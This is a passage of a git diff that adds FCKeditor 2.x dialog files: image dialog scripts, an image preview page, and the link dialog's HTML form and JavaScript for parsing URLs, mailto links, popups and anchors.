+               FCKConfig.ImageBrowserWindowHeight ) ;
+}
+
+function LnkBrowseServer()
+{
+       OpenServerBrowser(
+               'Link',
+               FCKConfig.LinkBrowserURL,
+               FCKConfig.LinkBrowserWindowWidth,
+               FCKConfig.LinkBrowserWindowHeight ) ;
+}
+
+function OpenServerBrowser( type, url, width, height )
+{
+       sActualBrowser = type ;
+       OpenFileBrowser( url, width, height ) ;
+}
+
+var sActualBrowser ;
+
+function SetUrl( url, width, height, alt )
+{
+       if ( sActualBrowser == 'Link' )
+       {
+               GetE('txtLnkUrl').value = url ;
+               UpdatePreview() ;
+       }
+       else
+       {
+               GetE('txtUrl').value = url ;
+               GetE('txtWidth').value = width ? width : '' ;
+               GetE('txtHeight').value = height ? height : '' ;
+
+               if ( alt )
+                       GetE('txtAlt').value = alt;
+
+               UpdatePreview() ;
+               UpdateOriginal( true ) ;
+       }
+       
+       window.parent.SetSelectedTab( 'Info' ) ;
+}
+
+function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg )
+{
+       switch ( errorNumber )
+       {
+               case 0 :        // No errors
+                       alert( 'Your file has been successfully uploaded' ) ;
+                       break ;
+               case 1 :        // Custom error
+                       alert( customMsg ) ;
+                       return ;
+               case 101 :      // Custom warning
+                       alert( customMsg ) ;
+                       break ;
+               case 201 :
+                       alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
+                       break ;
+               case 202 :
+                       alert( 'Invalid file type' ) ;
+                       return ;
+               case 203 :
+                       alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ;
+                       return ;
+               default :
+                       alert( 'Error on file upload. Error number: ' + errorNumber ) ;
+                       return ;
+       }
+
+       sActualBrowser = '' ;
+       SetUrl( fileUrl ) ;
+       GetE('frmUpload').reset() ;
+}
+
+var oUploadAllowedExtRegex     = new RegExp( FCKConfig.ImageUploadAllowedExtensions, 'i' ) ;
+var oUploadDeniedExtRegex      = new RegExp( FCKConfig.ImageUploadDeniedExtensions, 'i' ) ;
+
+function CheckUpload()
+{
+       var sFile = GetE('txtUploadFile').value ;
+       
+       if ( sFile.length == 0 )
+       {
+               alert( 'Please select a file to upload' ) ;
+               return false ;
+       }
+       
+       if ( ( FCKConfig.ImageUploadAllowedExtensions.length > 0 && !oUploadAllowedExtRegex.test( sFile ) ) ||
+               ( FCKConfig.ImageUploadDeniedExtensions.length > 0 && oUploadDeniedExtRegex.test( sFile ) ) )
+       {
+               OnUploadCompleted( 202 ) ;
+               return false ;
+       }
+       
+       return true ;
+}
diff --git a/fckeditor/editor/dialog/fck_image/fck_image_preview.html b/fckeditor/editor/dialog/fck_image/fck_image_preview.html
new file mode 100755 (executable)
index 0000000..b9c9cb0
--- /dev/null
@@ -0,0 +1,69 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_image_preview.html
+ *     Preview page for the Image dialog window.
+ *     Curiosity: http://en.wikipedia.org/wiki/Lorem_ipsum
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta name="robots" content="noindex, nofollow" />
+       <link href="../common/fck_dialog_common.css" rel="stylesheet" type="text/css" />
+       <script type="text/javascript">
+
+// Sets the Skin CSS
+document.write( '<link href="' + window.parent.FCKConfig.SkinPath + 'fck_dialog.css" type="text/css" rel="stylesheet">' ) ;
+
+if ( window.parent.FCKConfig.BaseHref.length > 0 )
+       document.write( '<base href="' + window.parent.FCKConfig.BaseHref + '">' ) ;
+
+window.onload = function()
+{
+       window.parent.SetPreviewElements( 
+               document.getElementById( 'imgPreview' ),
+               document.getElementById( 'lnkPreview' ) ) ;
+}
+
+       </script>
+</head>
+<body style="color: #000000; background-color: #ffffff">
+       <a id="lnkPreview" onclick="return false;" style="cursor: default">
+               <img id="imgPreview" onload="window.parent.UpdateOriginal();" style="display: none" /></a>Lorem
+       ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas feugiat consequat diam.
+       Maecenas metus. Vivamus diam purus, cursus a, commodo non, facilisis vitae, nulla.
+       Aenean dictum lacinia tortor. Nunc iaculis, nibh non iaculis aliquam, orci felis
+       euismod neque, sed ornare massa mauris sed velit. Nulla pretium mi et risus. Fusce
+       mi pede, tempor id, cursus ac, ullamcorper nec, enim. Sed tortor. Curabitur molestie.
+       Duis velit augue, condimentum at, ultrices a, luctus ut, orci. Donec pellentesque
+       egestas eros. Integer cursus, augue in cursus faucibus, eros pede bibendum sem,
+       in tempus tellus justo quis ligula. Etiam eget tortor. Vestibulum rutrum, est ut
+       placerat elementum, lectus nisl aliquam velit, tempor aliquam eros nunc nonummy
+       metus. In eros metus, gravida a, gravida sed, lobortis id, turpis. Ut ultrices,
+       ipsum at venenatis fringilla, sem nulla lacinia tellus, eget aliquet turpis mauris
+       non enim. Nam turpis. Suspendisse lacinia. Curabitur ac tortor ut ipsum egestas
+       elementum. Nunc imperdiet gravida mauris.
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_link.html b/fckeditor/editor/dialog/fck_link.html
new file mode 100755 (executable)
index 0000000..d06f275
--- /dev/null
@@ -0,0 +1,297 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_link.html
+ *     Link dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+       <head>
+               <title>Link Properties</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+               <meta name="robots" content="noindex, nofollow" />
+               <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+               <script src="fck_link/fck_link.js" type="text/javascript"></script>
+       </head>
+       <body scroll="no" style="OVERFLOW: hidden">
+               <div id="divInfo" style="DISPLAY: none">
+                       <span fckLang="DlgLnkType">Link Type</span><br />
+                       <select id="cmbLinkType" onchange="SetLinkType(this.value);">
+                               <option value="url" fckLang="DlgLnkTypeURL" selected="selected">URL</option>
+                               <option value="anchor" fckLang="DlgLnkTypeAnchor">Anchor in this page</option>
+                               <option value="email" fckLang="DlgLnkTypeEMail">E-Mail</option>
+                       </select>
+                       <br />
+                       <br />
+                       <div id="divLinkTypeUrl">
+                               <table cellspacing="0" cellpadding="0" width="100%" border="0" dir="ltr">
+                                       <tr>
+                                               <td nowrap="nowrap">
+                                                       <span fckLang="DlgLnkProto">Protocol</span><br />
+                                                       <select id="cmbLinkProtocol">
+                                                               <option value="http://" selected="selected">http://</option>
+                                                               <option value="https://">https://</option>
+                                                               <option value="ftp://">ftp://</option>
+                                                               <option value="news://">news://</option>
+                                                               <option value="" fckLang="DlgLnkProtoOther">&lt;other&gt;</option>
+                                                       </select>
+                                               </td>
+                                               <td nowrap="nowrap">&nbsp;</td>
+                                               <td nowrap="nowrap" width="100%">
+                                                       <span fckLang="DlgLnkURL">URL</span><br />
+                                                       <input id="txtUrl" style="WIDTH: 100%" type="text" onkeyup="OnUrlChange();" onchange="OnUrlChange();" />
+                                               </td>
+                                       </tr>
+                               </table>
+                               <br />
+                               <div id="divBrowseServer">
+                               <input type="button" value="Browse Server" fckLang="DlgBtnBrowseServer" onclick="BrowseServer();" />
+                               </div>
+                       </div>
+                       <div id="divLinkTypeAnchor" style="DISPLAY: none" align="center">
+                               <div id="divSelAnchor" style="DISPLAY: none">
+                                       <table cellspacing="0" cellpadding="0" border="0" width="70%">
+                                               <tr>
+                                                       <td colspan="3">
+                                                               <span fckLang="DlgLnkAnchorSel">Select an Anchor</span>
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td width="50%">
+                                                               <span fckLang="DlgLnkAnchorByName">By Anchor Name</span><br />
+                                                               <select id="cmbAnchorName" onchange="GetE('cmbAnchorId').value='';" style="WIDTH: 100%">
+                                                                       <option value="" selected="selected"></option>
+                                                               </select>
+                                                       </td>
+                                                       <td>&nbsp;&nbsp;&nbsp;</td>
+                                                       <td width="50%">
+                                                               <span fckLang="DlgLnkAnchorById">By Element Id</span><br />
+                                                               <select id="cmbAnchorId" onchange="GetE('cmbAnchorName').value='';" style="WIDTH: 100%">
+                                                                       <option value="" selected="selected"></option>
+                                                               </select>
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </div>
+                               <div id="divNoAnchor" style="DISPLAY: none">
+                                       <span fckLang="DlgLnkNoAnchors">&lt;No anchors available in the document&gt;</span>
+                               </div>
+                       </div>
+                       <div id="divLinkTypeEMail" style="DISPLAY: none">
+                               <span fckLang="DlgLnkEMail">E-Mail Address</span><br />
+                               <input id="txtEMailAddress" style="WIDTH: 100%" type="text" /><br />
+                               <span fckLang="DlgLnkEMailSubject">Message Subject</span><br />
+                               <input id="txtEMailSubject" style="WIDTH: 100%" type="text" /><br />
+                               <span fckLang="DlgLnkEMailBody">Message Body</span><br />
+                               <textarea id="txtEMailBody" style="WIDTH: 100%" rows="3" cols="20"></textarea>
+                       </div>
+               </div>
+               <div id="divUpload" style="DISPLAY: none">
+                       <form id="frmUpload" method="post" target="UploadWindow" enctype="multipart/form-data" action="" onsubmit="return CheckUpload();">
+                               <span fckLang="DlgLnkUpload">Upload</span><br />
+                               <input id="txtUploadFile" style="WIDTH: 100%" type="file" size="40" name="NewFile" /><br />
+                               <br />
+                               <input id="btnUpload" type="submit" value="Send it to the Server" fckLang="DlgLnkBtnUpload" />
+                               <iframe name="UploadWindow" style="DISPLAY: none" src="javascript:void(0)"></iframe> 
+                       </form>
+               </div>
+               <div id="divTarget" style="DISPLAY: none">
+                       <table cellspacing="0" cellpadding="0" width="100%" border="0">
+                               <tr>
+                                       <td nowrap="nowrap">
+                                               <span fckLang="DlgLnkTarget">Target</span><br />
+                                               <select id="cmbTarget" onchange="SetTarget(this.value);">
+                                                       <option value="" fckLang="DlgGenNotSet" selected="selected">&lt;not set&gt;</option>
+                                                       <option value="frame" fckLang="DlgLnkTargetFrame">&lt;frame&gt;</option>
+                                                       <option value="popup" fckLang="DlgLnkTargetPopup">&lt;popup window&gt;</option>
+                                                       <option value="_blank" fckLang="DlgLnkTargetBlank">New Window (_blank)</option>
+                                                       <option value="_top" fckLang="DlgLnkTargetTop">Topmost Window (_top)</option>
+                                                       <option value="_self" fckLang="DlgLnkTargetSelf">Same Window (_self)</option>
+                                                       <option value="_parent" fckLang="DlgLnkTargetParent">Parent Window (_parent)</option>
+                                               </select>
+                                       </td>
+                                       <td>&nbsp;</td>
+                                       <td id="tdTargetFrame" nowrap="nowrap" width="100%">
+                                               <span fckLang="DlgLnkTargetFrameName">Target Frame Name</span><br />
+                                               <input id="txtTargetFrame" style="WIDTH: 100%" type="text" onkeyup="OnTargetNameChange();"
+                                                       onchange="OnTargetNameChange();" />
+                                       </td>
+                                       <td id="tdPopupName" style="DISPLAY: none" nowrap="nowrap" width="100%">
+                                               <span fckLang="DlgLnkPopWinName">Popup Window Name</span><br />
+                                               <input id="txtPopupName" style="WIDTH: 100%" type="text" />
+                                       </td>
+                               </tr>
+                       </table>
+                       <br />
+                       <table id="tablePopupFeatures" style="DISPLAY: none" cellspacing="0" cellpadding="0" align="center"
+                               border="0">
+                               <tr>
+                                       <td>
+                                               <span fckLang="DlgLnkPopWinFeat">Popup Window Features</span><br />
+                                               <table cellspacing="0" cellpadding="0" border="0">
+                                                       <tr>
+                                                               <td valign="top" nowrap="nowrap" width="50%">
+                                                                       <input id="chkPopupResizable" name="chkFeature" value="resizable" type="checkbox" /><label for="chkPopupResizable" fckLang="DlgLnkPopResize">Resizable</label><br />
+                                                                       <input id="chkPopupLocationBar" name="chkFeature" value="location" type="checkbox" /><label for="chkPopupLocationBar" fckLang="DlgLnkPopLocation">Location 
+                                                                               Bar</label><br />
+                                                                       <input id="chkPopupManuBar" name="chkFeature" value="menubar" type="checkbox" /><label for="chkPopupManuBar" fckLang="DlgLnkPopMenu">Menu 
+                                                                               Bar</label><br />
+                                                                       <input id="chkPopupScrollBars" name="chkFeature" value="scrollbars" type="checkbox" /><label for="chkPopupScrollBars" fckLang="DlgLnkPopScroll">Scroll 
+                                                                               Bars</label>
+                                                               </td>
+                                                               <td></td>
+                                                               <td valign="top" nowrap="nowrap" width="50%">
+                                                                       <input id="chkPopupStatusBar" name="chkFeature" value="status" type="checkbox" /><label for="chkPopupStatusBar" fckLang="DlgLnkPopStatus">Status 
+                                                                               Bar</label><br />
+                                                                       <input id="chkPopupToolbar" name="chkFeature" value="toolbar" type="checkbox" /><label for="chkPopupToolbar" fckLang="DlgLnkPopToolbar">Toolbar</label><br />
+                                                                       <input id="chkPopupFullScreen" name="chkFeature" value="fullscreen" type="checkbox" /><label for="chkPopupFullScreen" fckLang="DlgLnkPopFullScrn">Full 
+                                                                               Screen (IE)</label><br />
+                                                                       <input id="chkPopupDependent" name="chkFeature" value="dependent" type="checkbox" /><label for="chkPopupDependent" fckLang="DlgLnkPopDependent">Dependent 
+                                                                               (Netscape)</label>
+                                                               </td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td valign="top" nowrap="nowrap" width="50%">&nbsp;</td>
+                                                               <td></td>
+                                                               <td valign="top" nowrap="nowrap" width="50%"></td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td valign="top">
+                                                                       <table cellspacing="0" cellpadding="0" border="0">
+                                                                               <tr>
+                                                                                       <td nowrap="nowrap"><span fckLang="DlgLnkPopWidth">Width</span></td>
+                                                                                       <td>&nbsp;<input id="txtPopupWidth" type="text" maxlength="4" size="4" /></td>
+                                                                               </tr>
+                                                                               <tr>
+                                                                                       <td nowrap="nowrap"><span fckLang="DlgLnkPopHeight">Height</span></td>
+                                                                                       <td>&nbsp;<input id="txtPopupHeight" type="text" maxlength="4" size="4" /></td>
+                                                                               </tr>
+                                                                       </table>
+                                                               </td>
+                                                               <td>&nbsp;&nbsp;</td>
+                                                               <td valign="top">
+                                                                       <table cellspacing="0" cellpadding="0" border="0">
+                                                                               <tr>
+                                                                                       <td nowrap="nowrap"><span fckLang="DlgLnkPopLeft">Left Position</span></td>
+                                                                                       <td>&nbsp;<input id="txtPopupLeft" type="text" maxlength="4" size="4" /></td>
+                                                                               </tr>
+                                                                               <tr>
+                                                                                       <td nowrap="nowrap"><span fckLang="DlgLnkPopTop">Top Position</span></td>
+                                                                                       <td>&nbsp;<input id="txtPopupTop" type="text" maxlength="4" size="4" /></td>
+                                                                               </tr>
+                                                                       </table>
+                                                               </td>
+                                                       </tr>
+                                               </table>
+                                       </td>
+                               </tr>
+                       </table>
+               </div>
+               <div id="divAttribs" style="DISPLAY: none">
+                       <table cellspacing="0" cellpadding="0" width="100%" align="center" border="0">
+                               <tr>
+                                       <td valign="top" width="50%">
+                                               <span fckLang="DlgGenId">Id</span><br />
+                                               <input id="txtAttId" style="WIDTH: 100%" type="text" />
+                                       </td>
+                                       <td width="1"></td>
+                                       <td valign="top">
+                                               <table cellspacing="0" cellpadding="0" width="100%" align="center" border="0">
+                                                       <tr>
+                                                               <td width="60%">
+                                                                       <span fckLang="DlgGenLangDir">Language Direction</span><br />
+                                                                       <select id="cmbAttLangDir" style="WIDTH: 100%">
+                                                                               <option value="" fckLang="DlgGenNotSet" selected>&lt;not set&gt;</option>
+                                                                               <option value="ltr" fckLang="DlgGenLangDirLtr">Left to Right (LTR)</option>
+                                                                               <option value="rtl" fckLang="DlgGenLangDirRtl">Right to Left (RTL)</option>
+                                                                       </select>
+                                                               </td>
+                                                               <td width="1%">&nbsp;&nbsp;&nbsp;</td>
+                                                               <td nowrap="nowrap"><span fckLang="DlgGenAccessKey">Access Key</span><br />
+                                                                       <input id="txtAttAccessKey" style="WIDTH: 100%" type="text" maxlength="1" size="1" />
+                                                               </td>
+                                                       </tr>
+                                               </table>
+                                       </td>
+                               </tr>
+                               <tr>
+                                       <td valign="top" width="50%">
+                                               <span fckLang="DlgGenName">Name</span><br />
+                                               <input id="txtAttName" style="WIDTH: 100%" type="text" />
+                                       </td>
+                                       <td width="1"></td>
+                                       <td valign="top">
+                                               <table cellspacing="0" cellpadding="0" width="100%" align="center" border="0">
+                                                       <tr>
+                                                               <td width="60%">
+                                                                       <span fckLang="DlgGenLangCode">Language Code</span><br />
+                                                                       <input id="txtAttLangCode" style="WIDTH: 100%" type="text" />
+                                                               </td>
+                                                               <td width="1%">&nbsp;&nbsp;&nbsp;</td>
+                                                               <td nowrap="nowrap">
+                                                                       <span fckLang="DlgGenTabIndex">Tab Index</span><br />
+                                                                       <input id="txtAttTabIndex" style="WIDTH: 100%" type="text" maxlength="5" size="5" />
+                                                               </td>
+                                                       </tr>
+                                               </table>
+                                       </td>
+                               </tr>
+                               <tr>
+                                       <td valign="top" width="50%">&nbsp;</td>
+                                       <td width="1"></td>
+                                       <td valign="top"></td>
+                               </tr>
+                               <tr>
+                                       <td valign="top" width="50%">
+                                               <span fckLang="DlgGenTitle">Advisory Title</span><br />
+                                               <input id="txtAttTitle" style="WIDTH: 100%" type="text" />
+                                       </td>
+                                       <td width="1">&nbsp;&nbsp;&nbsp;</td>
+                                       <td valign="top">
+                                               <span fckLang="DlgGenContType">Advisory Content Type</span><br />
+                                               <input id="txtAttContentType" style="WIDTH: 100%" type="text" />
+                                       </td>
+                               </tr>
+                               <tr>
+                                       <td valign="top">
+                                               <span fckLang="DlgGenClass">Stylesheet Classes</span><br />
+                                               <input id="txtAttClasses" style="WIDTH: 100%" type="text" />
+                                       </td>
+                                       <td></td>
+                                       <td valign="top">
+                                               <span fckLang="DlgGenLinkCharset">Linked Resource Charset</span><br />
+                                               <input id="txtAttCharSet" style="WIDTH: 100%" type="text" />
+                                       </td>
+                               </tr>
+                       </table>
+                       <table cellspacing="0" cellpadding="0" width="100%" align="center" border="0">
+                               <tr>
+                                       <td>
+                                               <span fckLang="DlgGenStyle">Style</span><br />
+                                               <input id="txtAttStyle" style="WIDTH: 100%" type="text" />
+                                       </td>
+                               </tr>
+                       </table>
+               </div>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_link/fck_link.js b/fckeditor/editor/dialog/fck_link/fck_link.js
new file mode 100755 (executable)
index 0000000..67ec756
--- /dev/null
@@ -0,0 +1,678 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_link.js
+ *     Scripts related to the Link dialog window (see fck_link.html).
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ *             Dominik Pesch ?dom? (empty selection patch) (d.pesch@11com7.de)
+ *             Alfonso Martinez de Lizarrondo - Uritec (alfonso at uritec dot net)
+ */
+
+var oEditor            = window.parent.InnerDialogLoaded() ;
+var FCK                        = oEditor.FCK ;
+var FCKLang            = oEditor.FCKLang ;
+var FCKConfig  = oEditor.FCKConfig ;
+var FCKRegexLib                        = oEditor.FCKRegexLib ;
+
+//#### Dialog Tabs
+
+// Set the dialog tabs.
+window.parent.AddTab( 'Info', FCKLang.DlgLnkInfoTab ) ;
+
+if ( !FCKConfig.LinkDlgHideTarget )
+       window.parent.AddTab( 'Target', FCKLang.DlgLnkTargetTab, true ) ;
+
+if ( FCKConfig.LinkUpload )
+       window.parent.AddTab( 'Upload', FCKLang.DlgLnkUpload, true ) ;
+
+if ( !FCKConfig.LinkDlgHideAdvanced )
+       window.parent.AddTab( 'Advanced', FCKLang.DlgAdvancedTag ) ;
+
+// Function called when a dialog tag is selected.
+function OnDialogTabChange( tabCode )
+{
+       ShowE('divInfo'         , ( tabCode == 'Info' ) ) ;
+       ShowE('divTarget'       , ( tabCode == 'Target' ) ) ;
+       ShowE('divUpload'       , ( tabCode == 'Upload' ) ) ;
+       ShowE('divAttribs'      , ( tabCode == 'Advanced' ) ) ;
+
+       window.parent.SetAutoSize( true ) ;
+}
+
+//#### Regular Expressions library.
+var oRegex = new Object() ;
+
+oRegex.UriProtocol = new RegExp('') ;
+oRegex.UriProtocol.compile( '^(((http|https|ftp|news):\/\/)|mailto:)', 'gi' ) ;
+
+oRegex.UrlOnChangeProtocol = new RegExp('') ;
+oRegex.UrlOnChangeProtocol.compile( '^(http|https|ftp|news)://(?=.)', 'gi' ) ;
+
+oRegex.UrlOnChangeTestOther = new RegExp('') ;
+//oRegex.UrlOnChangeTestOther.compile( '^(javascript:|#|/)', 'gi' ) ;
+oRegex.UrlOnChangeTestOther.compile( '^((javascript:)|[#/\.])', 'gi' ) ; 
+
+oRegex.ReserveTarget = new RegExp('') ;
+oRegex.ReserveTarget.compile( '^_(blank|self|top|parent)$', 'i' ) ;
+
+oRegex.PopupUri = new RegExp('') ;
+oRegex.PopupUri.compile( "^javascript:void\\(\\s*window.open\\(\\s*'([^']+)'\\s*,\\s*(?:'([^']*)'|null)\\s*,\\s*'([^']*)'\\s*\\)\\s*\\)\\s*$" ) ;
+
+// Accesible popups
+oRegex.OnClickPopup = new RegExp('') ;
+oRegex.OnClickPopup.compile( "^\\s*onClick=\"\\s*window.open\\(\\s*this\\.href\\s*,\\s*(?:'([^']*)'|null)\\s*,\\s*'([^']*)'\\s*\\)\\s*;\\s*return\\s*false;*\\s*\"$" ) ;
+
+oRegex.PopupFeatures = new RegExp('') ;
+oRegex.PopupFeatures.compile( '(?:^|,)([^=]+)=(\\d+|yes|no)', 'gi' ) ;
+
+//#### Parser Functions
+
+var oParser = new Object() ;
+
+oParser.ParseEMailUrl = function( emailUrl )
+{
+       // Initializes the EMailInfo object.
+       var oEMailInfo = new Object() ;
+       oEMailInfo.Address      = '' ;
+       oEMailInfo.Subject      = '' ;
+       oEMailInfo.Body         = '' ;
+
+       var oParts = emailUrl.match( /^([^\?]+)\??(.+)?/ ) ;
+       if ( oParts )
+       {
+               // Set the e-mail address.
+               oEMailInfo.Address = oParts[1] ;
+
+               // Look for the optional e-mail parameters.
+               if ( oParts[2] )
+               {
+                       var oMatch = oParts[2].match( /(^|&)subject=([^&]+)/i ) ;
+                       if ( oMatch ) oEMailInfo.Subject = decodeURIComponent( oMatch[2] ) ;
+
+                       oMatch = oParts[2].match( /(^|&)body=([^&]+)/i ) ;
+                       if ( oMatch ) oEMailInfo.Body = decodeURIComponent( oMatch[2] ) ;
+               }
+       }
+
+       return oEMailInfo ;
+}
+
+oParser.CreateEMailUri = function( address, subject, body )
+{
+       var sBaseUri = 'mailto:' + address ;
+
+       var sParams = '' ;
+
+       if ( subject.length > 0 )
+               sParams = '?subject=' + encodeURIComponent( subject ) ;
+
+       if ( body.length > 0 )
+       {
+               sParams += ( sParams.length == 0 ? '?' : '&' ) ;
+               sParams += 'body=' + encodeURIComponent( body ) ;
+       }
+
+       return sBaseUri + sParams ;
+}
+
+//#### Initialization Code
+
+// oLink: The actual selected link in the editor.
+var oLink = FCK.Selection.MoveToAncestorNode( 'A' ) ;
+if ( oLink )
+       FCK.Selection.SelectNode( oLink ) ;
+
+window.onload = function()
+{
+       // Translate the dialog box texts.
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       // Fill the Anchor Names and Ids combos.
+       LoadAnchorNamesAndIds() ;
+
+       // Load the selected link information (if any).
+       LoadSelection() ;
+
+       // Update the dialog box.
+       SetLinkType( GetE('cmbLinkType').value ) ;
+
+       // Show/Hide the "Browse Server" button.
+       GetE('divBrowseServer').style.display = FCKConfig.LinkBrowser ? '' : 'none' ;
+
+       // Show the initial dialog content.
+       GetE('divInfo').style.display = '' ;
+
+       // Set the actual uploader URL.
+       if ( FCKConfig.LinkUpload )
+               GetE('frmUpload').action = FCKConfig.LinkUploadURL ;
+
+       // Activate the "OK" button.
+       window.parent.SetOkButton( true ) ;
+}
+
+var bHasAnchors ;
+
+function LoadAnchorNamesAndIds()
+{
+       // Since version 2.0, the anchors are replaced in the DOM by IMGs so the user see the icon 
+       // to edit them. So, we must look for that images now.
+       var aAnchors = new Array() ;
+       var i ;
+       var oImages = oEditor.FCK.EditorDocument.getElementsByTagName( 'IMG' ) ;
+       for( i = 0 ; i < oImages.length ; i++ )
+       {
+               if ( oImages[i].getAttribute('_fckanchor') )
+                       aAnchors[ aAnchors.length ] = oEditor.FCK.GetRealElement( oImages[i] ) ;
+       }
+
+       // Add also real anchors
+       var oLinks = oEditor.FCK.EditorDocument.getElementsByTagName( 'A' ) ;
+       for( i = 0 ; i < oLinks.length ; i++ )
+       {
+               if ( oLinks[i].name && ( oLinks[i].name.length > 0 ) )
+                       aAnchors[ aAnchors.length ] = oLinks[i] ;
+       }
+       
+       var aIds = oEditor.FCKTools.GetAllChildrenIds( oEditor.FCK.EditorDocument.body ) ;
+
+       bHasAnchors = ( aAnchors.length > 0 || aIds.length > 0 ) ;
+
+       for ( i = 0 ; i < aAnchors.length ; i++ )
+       {
+               var sName = aAnchors[i].name ;
+               if ( sName && sName.length > 0 )
+                       oEditor.FCKTools.AddSelectOption( GetE('cmbAnchorName'), sName, sName ) ;
+       }
+
+       for ( i = 0 ; i < aIds.length ; i++ )
+       {
+               oEditor.FCKTools.AddSelectOption( GetE('cmbAnchorId'), aIds[i], aIds[i] ) ;
+       }
+
+       ShowE( 'divSelAnchor'   , bHasAnchors ) ;
+       ShowE( 'divNoAnchor'    , !bHasAnchors ) ;
+}
+
+function LoadSelection()
+{
+       if ( !oLink ) return ;
+
+       var sType = 'url' ;
+
+       // Get the actual Link href.
+       var sHRef = oLink.getAttribute( '_fcksavedurl' ) ;
+       if ( sHRef == null )
+               sHRef = oLink.getAttribute( 'href' , 2 ) || '' ;
+
+       // Look for a popup javascript link.
+       var oPopupMatch = oRegex.PopupUri.exec( sHRef ) ;
+       if( oPopupMatch )
+       {
+               GetE('cmbTarget').value = 'popup' ;
+               sHRef = oPopupMatch[1] ;
+               FillPopupFields( oPopupMatch[2], oPopupMatch[3] ) ;
+               SetTarget( 'popup' ) ;
+       }
+
+       // Accesible popups, the popup data is in the onclick attribute
+       if ( !oPopupMatch ) {
+               var onclick = oLink.getAttribute( 'onClick_fckprotectedatt' ) ;
+               oPopupMatch = oRegex.OnClickPopup.exec( onclick ) ;
+               if( oPopupMatch )
+               {
+                       GetE( 'cmbTarget' ).value = 'popup' ;
+                       FillPopupFields( oPopupMatch[1], oPopupMatch[2] ) ;
+                       SetTarget( 'popup' ) ;
+               }
+       }
+
+       // Search for the protocol.
+       var sProtocol = oRegex.UriProtocol.exec( sHRef ) ;
+
+       if ( sProtocol )
+       {
+               sProtocol = sProtocol[0].toLowerCase() ;
+               GetE('cmbLinkProtocol').value = sProtocol ;
+
+               // Remove the protocol and get the remainig URL.
+               var sUrl = sHRef.replace( oRegex.UriProtocol, '' ) ;
+
+               if ( sProtocol == 'mailto:' )   // It is an e-mail link.
+               {
+                       sType = 'email' ;
+
+                       var oEMailInfo = oParser.ParseEMailUrl( sUrl ) ;
+                       GetE('txtEMailAddress').value   = oEMailInfo.Address ;
+                       GetE('txtEMailSubject').value   = oEMailInfo.Subject ;
+                       GetE('txtEMailBody').value              = oEMailInfo.Body ;
+               }
+               else                            // It is a normal link.
+               {
+                       sType = 'url' ;
+                       GetE('txtUrl').value = sUrl ;
+               }
+       }
+       else if ( sHRef.substr(0,1) == '#' && sHRef.length > 1 )        // It is an anchor link.
+       {
+               sType = 'anchor' ;
+               GetE('cmbAnchorName').value = GetE('cmbAnchorId').value = sHRef.substr(1) ;
+       }
+       else                                    // It is another type of link.
+       {
+               sType = 'url' ;
+
+               GetE('cmbLinkProtocol').value = '' ;
+               GetE('txtUrl').value = sHRef ;
+       }
+
+       if ( !oPopupMatch )
+       {
+               // Get the target.
+               var sTarget = oLink.target ;
+
+               if ( sTarget && sTarget.length > 0 )
+               {
+                       if ( oRegex.ReserveTarget.test( sTarget ) )
+                       {
+                               sTarget = sTarget.toLowerCase() ;
+                               GetE('cmbTarget').value = sTarget ;
+                       }
+                       else
+                               GetE('cmbTarget').value = 'frame' ;
+                       GetE('txtTargetFrame').value = sTarget ;
+               }
